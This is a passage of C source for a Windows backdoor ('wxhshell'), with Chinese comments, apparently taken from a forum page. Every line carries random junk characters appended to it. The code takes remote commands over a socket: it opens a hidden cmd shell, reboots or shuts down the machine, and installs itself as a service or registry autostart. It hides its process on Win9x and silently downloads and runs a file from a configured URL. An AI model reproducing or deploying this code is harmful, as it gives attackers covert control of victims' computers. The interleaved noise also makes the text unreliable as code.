    switch(cmd[0]) { j()_ VoB1  
  M< *5Y43  
  // 帮助 U.crRrN  
  case '?': { ',z'.t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &~6Z)}  
    break; W6K]jIQ  
  } KOV^wSwS  
  // 安装 6G/)q8'G  
  case 'i': { ?WG9}R[qE/  
    if(Install()) qe"5&cc1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Jj|g9b  
    else :V HJD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uB 6`e!Q  
    break; HGC>jeWd_  
    } Um9!<G=;  
  // 卸载 4_&$isq  
  case 'r': { U2ecvq[T  
    if(Uninstall()) r1}OlVbK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8/-GrdyE  
    else \kzxt/Ow  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G( nT.\  
    break; LdU, 32  
    } wQ2'%T|t  
  // 显示 wxhshell 所在路径 JR$Dp&]I  
  case 'p': { *Y9"-C+  
    char svExeFile[MAX_PATH]; }qmZ  
    strcpy(svExeFile,"\n\r"); *Mg=IEu-6[  
      strcat(svExeFile,ExeFile); Zr;.`(>  
        send(wsh,svExeFile,strlen(svExeFile),0); }Da8S|)H  
    break; ro}plK(<WQ  
    } %ia/i :  
  // 重启 < hZA$.W3  
  case 'b': { M_T$\z;,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  >pv~$  
    if(Boot(REBOOT)) =Q.2:*d.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z&s+*& TM  
    else { w/d9S(  
    closesocket(wsh); G+m|A*[>  
    ExitThread(0); lh7{2WQ  
    } qO Zc}J0  
    break; +_Fsiu_b  
    } Q'*-gg&)  
  // 关机 }}cVPB7   
  case 'd': { BtBy.bR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f|Z3VS0x  
    if(Boot(SHUTDOWN)) iWCN2om  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H3QAIsGS  
    else { / w_ Sc{  
    closesocket(wsh); gO*cX&  
    ExitThread(0); 'RQZU*8  
    } &I:X[=;g  
    break; Gd%6lab  
    } 8BE OE<  
  // 获取shell RW,ew!Z  
  case 's': { z\_q`43U7  
    CmdShell(wsh); $SG^, !!&A  
    closesocket(wsh); qq[2h~6P]  
    ExitThread(0); ,":"Op61  
    break;  Tx/  
  }  Ca@[]-_H  
  // 退出 -R~;E[ {%  
  case 'x': { +3s i=x\=/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [5)1 4% x  
    CloseIt(wsh); '3[Ecy#  
    break; dI>)4()  
    } ]AERi] B  
  // 离开 $w[@L7'(  
  case 'q': { NvJu)gI%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _f|Au`7m  
    closesocket(wsh); DcSL f4A  
    WSACleanup(); ]'~'V2Ey  
    exit(1); 1^!= J<`K;  
    break; kQ.atr`?e  
        } Arir=q^2  
  } T"kaOy  
  } mRj-$:}L  
rU<  H7U  
  // 提示信息 x:xKlPGd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nP 2rN_:4  
} ef f6=DP  
  } ^._)HM  
~UK) p;|  
  return; 6x*ImhQ.J  
} HQt=.#GW  
M (b'4  
// shell模块句柄 MukPY2[Am  
int CmdShell(SOCKET sock) Z>o;Yf[  
{ |WXu;uf$.u  
STARTUPINFO si; >9+@oGe(E  
ZeroMemory(&si,sizeof(si)); ~K:#a$!%,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b[GZ sXD-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a=p3oh?%-O  
PROCESS_INFORMATION ProcessInfo; pUwx`"DrR  
char cmdline[]="cmd"; MA(\ r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F =iz\O!6  
  return 0; 4)JrOe&k  
} (LL4V 3)  
n@T4z.*~lA  
// 自身启动模式 jGR_EE  
int StartFromService(void) wXuHD<<  
{ (W=z0Lqu  
typedef struct OjJlGElw  
{ (mt,:hX  
  DWORD ExitStatus; [g=yuVXNZZ  
  DWORD PebBaseAddress; }4cLU.L8O  
  DWORD AffinityMask; $o/ ?R]h  
  DWORD BasePriority; J:#B,2F+^  
  ULONG UniqueProcessId; YXrTm[P  
  ULONG InheritedFromUniqueProcessId; swi|   
}   PROCESS_BASIC_INFORMATION; &p8K0 |  
LNXhzW   
PROCNTQSIP NtQueryInformationProcess; )P:TVe9`  
u6t.$a!5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pL-p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xzW]D0o0  
^uIZs}=+  
  HANDLE             hProcess; wbd>By(T1  
  PROCESS_BASIC_INFORMATION pbi; {-Yp~HQF  
GG(rp]rgl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U+~0m!|4  
  if(NULL == hInst ) return 0; {(ey!O  
6D{|!i|r4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HQ/PHUg2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eoTOccb!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `o/tpuI  
<\X4_sdy  
  if (!NtQueryInformationProcess) return 0; 7S2Bm]fP  
A3$ rPb8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %9{4g->  
  if(!hProcess) return 0; mOGcv_L  
:!g|0CF_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :V}8a!3h  
yK"U:X  
  CloseHandle(hProcess); c{|soc[#  
#(ANyU(#e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =ZzhH};aX  
if(hProcess==NULL) return 0; r A0[y  
a(d'iAU8^  
HMODULE hMod; 2x$\vL0  
char procName[255]; (tyo4Tz1  
unsigned long cbNeeded; (V{bfDu&h@  
r{>tTJFD(:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >/5D/}4  
;`X-.45  
  CloseHandle(hProcess); kl3#&>e  
q Z`@Ro  
if(strstr(procName,"services")) return 1; // 以服务启动 kj@#oLd%  
Qs#v/r  
  return 0; // 注册表启动 ^a<=@0|  
} '(^p$=3|@D  
#mx;t3ja7  
// 主模块 RL.%o?<&?  
int StartWxhshell(LPSTR lpCmdLine) L G{N  
{ ?P{C=Td2z  
  SOCKET wsl; N5%~~JRO  
BOOL val=TRUE; EJdq"6S  
  int port=0; 3"I 1'+  
  struct sockaddr_in door; *7BY$q  
!G`w@E9M)  
  if(wscfg.ws_autoins) Install(); 7 &GhJ^Ku  
pfZn<n5p  
port=atoi(lpCmdLine); 6S"bW)O  
=*"Amd,  
if(port<=0) port=wscfg.ws_port; o=;.RYi  
ik7#Og~ 3  
  WSADATA data; L_)?5IOJ$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uZd)o AB  
;)"r^M)):  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MSRIG-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -Ah\a0z  
  door.sin_family = AF_INET; {\C$Bz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /YUf(' b  
  door.sin_port = htons(port); x9-K}s]%  
P63z8^y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { if#$wm%  
closesocket(wsl); -7m;rD4J  
return 1; KGP2,U6  
} 7-W(gD!`  
N;r,B  
  if(listen(wsl,2) == INVALID_SOCKET) { rd%3eR?V  
closesocket(wsl); d 'x;]#S  
return 1; 8V=I[UF.1?  
} c7 wza/r>  
  Wxhshell(wsl); `1M_rG1/+  
  WSACleanup(); PM%./  
P4R.~J ;8  
return 0; /xrt,M@  
|])%yRAGQ  
} ,1^)JshZ~  
zs[t<`2  
// 以NT服务方式启动 3Y=T8Gi#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OjrQ[`(E  
{ Y<a/(`  
DWORD   status = 0; ^6J*yV%  
  DWORD   specificError = 0xfffffff; [h%_`8z  
{'>X6:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9Ki86  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .}Bb :*@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -cY /M~  
  serviceStatus.dwWin32ExitCode     = 0; mz9Kwxe  
  serviceStatus.dwServiceSpecificExitCode = 0; {D`F$=Dlw  
  serviceStatus.dwCheckPoint       = 0; ^Ud`2 OW;2  
  serviceStatus.dwWaitHint       = 0; t MA  
,,fLK1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rg0\Ng4|G  
  if (hServiceStatusHandle==0) return; 2S!=2u+7  
g&_0)(a\  
status = GetLastError(); -bo0!@MK  
  if (status!=NO_ERROR) a`/[\K6  
{ Y*w< ~m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r~t&;yRv  
    serviceStatus.dwCheckPoint       = 0; 4XX21<yn  
    serviceStatus.dwWaitHint       = 0; !X[lNt O  
    serviceStatus.dwWin32ExitCode     = status; IO v4Zx<)  
    serviceStatus.dwServiceSpecificExitCode = specificError; p)TH^87  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'y'>0'et  
    return; Eptsxyz{  
  } Kq-y1h]7H  
aASnk2DFd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zh3]bg5  
  serviceStatus.dwCheckPoint       = 0; 3bE^[V8/  
  serviceStatus.dwWaitHint       = 0; VMHiuBz:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $JX_e  
} %,6@Uu#%6  
N_/&xHw  
// 处理NT服务事件,比如:启动、停止 0FEb[+N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QbOm JQ  
{ QD\S E  
switch(fdwControl) dQ;rO$c o  
{ M}38uxP  
case SERVICE_CONTROL_STOP: ^@{'! N  
  serviceStatus.dwWin32ExitCode = 0; ^0X86  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ] +Gi~  
  serviceStatus.dwCheckPoint   = 0; j q1qj9KZ  
  serviceStatus.dwWaitHint     = 0; fFSW\4JD=  
  { OP:;?Fs9`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tb0s+rb  
  } 9H.E15B  
  return; u7a4taM$d  
case SERVICE_CONTROL_PAUSE: 9%\q*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;   ;h  
  break; .bL{fBTT~  
case SERVICE_CONTROL_CONTINUE: LR9dQ=fHS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QKCk. 0Xe  
  break; /\#qz.c2K  
case SERVICE_CONTROL_INTERROGATE: WGp81DNS|  
  break;  0m*0I >  
}; *pI3"_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2"V?+Hhz  
} #c?\(qjWA  
tw*qlbFHv  
// 标准应用程序主函数 )O2^?Q quS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _NqEhf:8  
{ "%>/rh2Iq  
173/A=]  
// 获取操作系统版本 m[Zz(tL  
OsIsNt=GetOsVer(); +yCIA\i#t6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M=0I 3o}J  
TioI$?l>W(  
  // 从命令行安装 N'2u`br4KP  
  if(strpbrk(lpCmdLine,"iI")) Install(); fa<83<.D  
[!bTko>rSB  
  // 下载执行文件 <niHJ*  
if(wscfg.ws_downexe) { '%K,A-7W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L & PhABZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); LuQ=i`eXx  
} /!7m@P|&D  
B;7L:  
if(!OsIsNt) {  299; N  
// 如果时win9x,隐藏进程并且设置为注册表启动 7 NJ1cQ-}t  
HideProc(); j g$%WAEb  
StartWxhshell(lpCmdLine); NSM-p.I9  
} V=E9*$b]  
else #a}fI  
  if(StartFromService()) =A=er1~%  
  // 以服务方式启动 .F 3v)  
  StartServiceCtrlDispatcher(DispatchTable); 2v%~KV  
else GHYgSS  
  // 普通方式启动 N],A&}30  
  StartWxhshell(lpCmdLine); $C^94$W  
,gkxZ{Eh  
return 0; h-jea1m  
}
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只看该作者 1 发表于: 2006-10-10
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